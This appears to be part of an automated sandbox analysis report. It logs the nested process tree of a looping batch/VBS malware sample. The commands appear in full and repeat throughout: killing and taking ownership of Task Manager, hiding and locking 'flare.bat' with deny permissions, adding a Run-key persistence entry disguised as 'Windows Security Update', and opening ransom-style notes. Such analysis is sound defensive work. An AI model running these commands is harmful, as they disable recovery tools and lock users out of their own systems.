        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        11⤵
        
        PID:912
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        11⤵
        Possible privilege escalation attempt
        
        PID:3096
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        11⤵
        Modifies file permissions
        
        PID:4844
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        11⤵
        Modifies file permissions
        
        PID:4496
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        11⤵
        Modifies file permissions
        
        PID:3020
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        11⤵
        
        PID:3040
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        11⤵
        Modifies file permissions
        
        PID:3796
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        11⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4144
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        11⤵
        Opens file in notepad (likely ransom note)
        
        PID:3152
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        11⤵
        
        PID:1776
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        12⤵
        
        PID:428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        13⤵
        
        PID:1136
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        14⤵
        
        PID:4152
        
        C:\Windows\system32\net.exe
        
        net session
        14⤵
        
        PID:4872
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        15⤵
        
        PID:1208
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        14⤵
        Kills process with taskkill
        
        PID:1652
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        14⤵
        Possible privilege escalation attempt
        
        PID:2060
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        14⤵
        Modifies file permissions
        
        PID:2748
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        14⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1888
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        14⤵
        
        PID:4536
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        14⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1664
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        14⤵
        Modifies file permissions
        
        PID:2412
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        14⤵
        Modifies file permissions
        
        PID:1992
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        14⤵
        Possible privilege escalation attempt
        
        PID:4696
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        14⤵
        
        PID:1252
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        14⤵
        
        PID:4056
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        14⤵
        Opens file in notepad (likely ransom note)
        
        PID:3616
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        14⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1812
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        14⤵
        
        PID:3812
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        14⤵
        
        PID:1516
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        14⤵
        Possible privilege escalation attempt
        
        PID:2980
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        14⤵
        
        PID:3728
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        14⤵
        Modifies file permissions
        
        PID:2868
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        14⤵
        Possible privilege escalation attempt
        
        PID:3764
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        14⤵
        Modifies file permissions
        
        PID:4548
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        14⤵
        Possible privilege escalation attempt
        
        PID:2568
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        14⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1044
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        14⤵
        Opens file in notepad (likely ransom note)
        
        PID:4220
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        14⤵
        
        PID:912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        15⤵
        
        PID:3020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        16⤵
        
        PID:2244
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        17⤵
        
        PID:2812
        
        C:\Windows\system32\net.exe
        
        net session
        17⤵
        
        PID:3636
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        18⤵
        
        PID:4956
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        17⤵
        Kills process with taskkill
        
        PID:1628
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        17⤵
        
        PID:1724
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        17⤵
        Modifies file permissions
        
        PID:2316
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        17⤵
        
        PID:2300
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        17⤵
        Modifies file permissions
        
        PID:4696
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        17⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1252
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        17⤵
        
        PID:632
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        17⤵
        
        PID:4140
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        17⤵
        
        PID:1812
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        17⤵
        
        PID:4540
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        17⤵
        
        PID:4500
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        17⤵
        Opens file in notepad (likely ransom note)
        
        PID:716
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        17⤵
        Modifies file permissions
        
        PID:4072
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        17⤵
        
        PID:2500
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        17⤵
        Possible privilege escalation attempt
        
        PID:2868
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        17⤵
        Possible privilege escalation attempt
        
        PID:3764
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        17⤵
        Possible privilege escalation attempt
        
        PID:3800
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        17⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1412
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        17⤵
        
        PID:4428
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        17⤵
        
        PID:3444
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        17⤵
        Modifies file permissions
        
        PID:948
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        17⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:4728
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        17⤵
        Opens file in notepad (likely ransom note)
        
        PID:4956
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        17⤵
        
        PID:2160
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        18⤵
        
        PID:1724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        19⤵
        
        PID:4232
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        20⤵
        
        PID:3192
        
        C:\Windows\system32\net.exe
        
        net session
        20⤵
        
        PID:3812
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        21⤵
        
        PID:2800
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        20⤵
        Kills process with taskkill
        
        PID:2380
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        20⤵
        Possible privilege escalation attempt
        
        PID:3360
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        20⤵
        Possible privilege escalation attempt
        
        PID:948
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        20⤵
        
        PID:324
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        20⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:1796
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        20⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:1964
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        20⤵
        
        PID:916
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        20⤵
        
        PID:1284
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        20⤵
        
        PID:2268
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        20⤵
        
        PID:4968
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        20⤵
        
        PID:1516
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        20⤵
        Opens file in notepad (likely ransom note)
        
        PID:3812
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        20⤵
        Modifies file permissions
        
        PID:3672
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        20⤵
        
        PID:3960
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        20⤵
        
        PID:3416
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        20⤵
        
        PID:4844
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        20⤵
        Possible privilege escalation attempt
        
        PID:3728
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        20⤵
        Possible privilege escalation attempt
        
        PID:2380
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        20⤵
        
        PID:1320
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        20⤵
        
        PID:1776
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        20⤵
        Modifies file permissions
        
        PID:3948
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        20⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:324
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        20⤵
        Opens file in notepad (likely ransom note)
        
        PID:3952
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        20⤵
        
        PID:4972
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        21⤵
        
        PID:3416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        22⤵
        
        PID:1892
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        23⤵
        
        PID:4224
        
        C:\Windows\system32\net.exe
        
        net session
        23⤵
        
        PID:4540
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        24⤵
        
        PID:1628
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        23⤵
        Kills process with taskkill
        
        PID:1528
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        23⤵
        
        PID:3416
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        23⤵
        Possible privilege escalation attempt
        
        PID:1928
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        23⤵
        
        PID:4692
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        23⤵
        Modifies file permissions
        
        PID:2808
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        23⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:3012
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        23⤵
        
        PID:4592
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        23⤵
        
        PID:5136
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        23⤵
        
        PID:5148
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        23⤵
        
        PID:5160
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        23⤵
        
        PID:5236
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        23⤵
        Opens file in notepad (likely ransom note)
        
        PID:5248
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        
        PID:5288
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        23⤵
        Modifies file permissions
        
        PID:5308
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5328
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        
        PID:5340
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5352
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        23⤵
        Modifies file permissions
        
        PID:5368
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        
        PID:5384
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        23⤵
        Modifies file permissions
        
        PID:5396
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        23⤵
        Possible privilege escalation attempt
        
        PID:5408
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        23⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5420
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        23⤵
        Opens file in notepad (likely ransom note)
        
        PID:5440
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        23⤵
        
        PID:5456
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        24⤵
        
        PID:5560
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        25⤵
        
        PID:5820
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        26⤵
        
        PID:5912
        
        C:\Windows\system32\net.exe
        
        net session
        26⤵
        
        PID:5936
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        27⤵
        
        PID:5948
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        26⤵
        Kills process with taskkill
        
        PID:5968
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        26⤵
        Modifies file permissions
        
        PID:6016
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        26⤵
        
        PID:6032
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        26⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5216
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        26⤵
        
        PID:5340
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        26⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5412
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        26⤵
        
        PID:5448
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        26⤵
        Modifies file permissions
        
        PID:5020
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        26⤵
        Possible privilege escalation attempt
        
        PID:3428
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        26⤵
        
        PID:324
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        26⤵
        
        PID:5496
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        26⤵
        Opens file in notepad (likely ransom note)
        
        PID:5456
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        26⤵
        
        PID:5832
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        26⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5576
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        26⤵
        
        PID:5568
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        26⤵
        Possible privilege escalation attempt
        
        PID:5912
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        26⤵
        
        PID:5948
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        26⤵
        
        PID:5976
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        26⤵
        Possible privilege escalation attempt
        
        PID:6032
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        26⤵
        
        PID:5280
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        26⤵
        Modifies file permissions
        
        PID:5408
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        26⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:2800
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        26⤵
        Opens file in notepad (likely ransom note)
        
        PID:5464
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        26⤵
        
        PID:5608
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        27⤵
        
        PID:5908
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        28⤵
        
        PID:5292
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        29⤵
        
        PID:5348
        
        C:\Windows\system32\net.exe
        
        net session
        29⤵
        
        PID:5216
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        30⤵
        
        PID:5408
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        29⤵
        Kills process with taskkill
        
        PID:5600
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        29⤵
        
        PID:3428
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        29⤵
        
        PID:5328
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        29⤵
        Possible privilege escalation attempt
        
        PID:4592
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        29⤵
        
        PID:5576
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        29⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:5816
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Everyone:(F)
        29⤵
        
        PID:5520
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny SYSTEM:(F)
        29⤵
        
        PID:5328
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Windows\System32\flare.bat" /deny Administrators:(F)
        29⤵
        
        PID:5748
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Security Update" /t REG_SZ /d "C:\Windows\System32\flare.bat" /f
        29⤵
        
        PID:6196
        
        C:\Windows\system32\cmd.exe
        
        cmd.exe
        29⤵
        
        PID:6320
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\flare_warning.txt"
        29⤵
        Opens file in notepad (likely ransom note)
        
        PID:6332
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\CON" /deny Everyone:(F
        29⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:6340
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\PRN" /deny Everyone:(F
        29⤵
        Modifies file permissions
        
        PID:6388
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\AUX" /deny Everyone:(F
        29⤵
        Possible privilege escalation attempt
        
        PID:6400
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\NUL" /deny Everyone:(F
        29⤵
        Possible privilege escalation attempt
        
        PID:6424
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM1" /deny Everyone:(F
        29⤵
        
        PID:6436
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM2" /deny Everyone:(F
        29⤵
        
        PID:6448
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\COM3" /deny Everyone:(F
        29⤵
        
        PID:6460
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT1" /deny Everyone:(F
        29⤵
        
        PID:6472
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\Admin\Desktop\LPT2" /deny Everyone:(F
        29⤵
        
        PID:6484
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h "C:\Users\Admin\Desktop\LPT2"
        29⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:6496
        
        C:\Windows\system32\notepad.exe
        
        notepad "C:\Users\Admin\Desktop\LPT2\Fixes.txt"
        29⤵
        Opens file in notepad (likely ransom note)
        
        PID:6528
        
        C:\Windows\system32\cscript.exe
        
        cscript //nologo C:\Users\Admin\AppData\Local\Temp\launch_hidden.vbs
        29⤵
        
        PID:6544
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c start /min C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        30⤵
        
        PID:6860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\mainversion.bat
        31⤵
        
        PID:6952
        
        C:\Windows\system32\msg.exe
        
        msg * "Fatal Error: Something unusual has occured. Maybe try restarting your PC?"
        32⤵
        
        PID:7020
        
        C:\Windows\system32\net.exe
        
        net session
        32⤵
        
        PID:7036
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        33⤵
        
        PID:7048
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im taskmgr.exe
        32⤵
        Kills process with taskkill
        
        PID:7068
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\taskmgr.exe
        32⤵
        
        PID:6188
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\SysWOW64\taskmgr.exe
        32⤵
        Possible privilege escalation attempt
        
        PID:6496
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\taskmgr.exe /grant administrators:F
        32⤵
        
        PID:5348
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\SysWOW64\taskmgr.exe /grant administrators:F
        32⤵
        
        PID:5020
        
        C:\Windows\system32\attrib.exe
        
        attrib +s +h +r "C:\Windows\System32\flare.bat"
        32⤵
        Sets file to hidden
        Views/modifies file attributes
        
        PID:6732
        
        C:\Windows\system32\icacls.exe
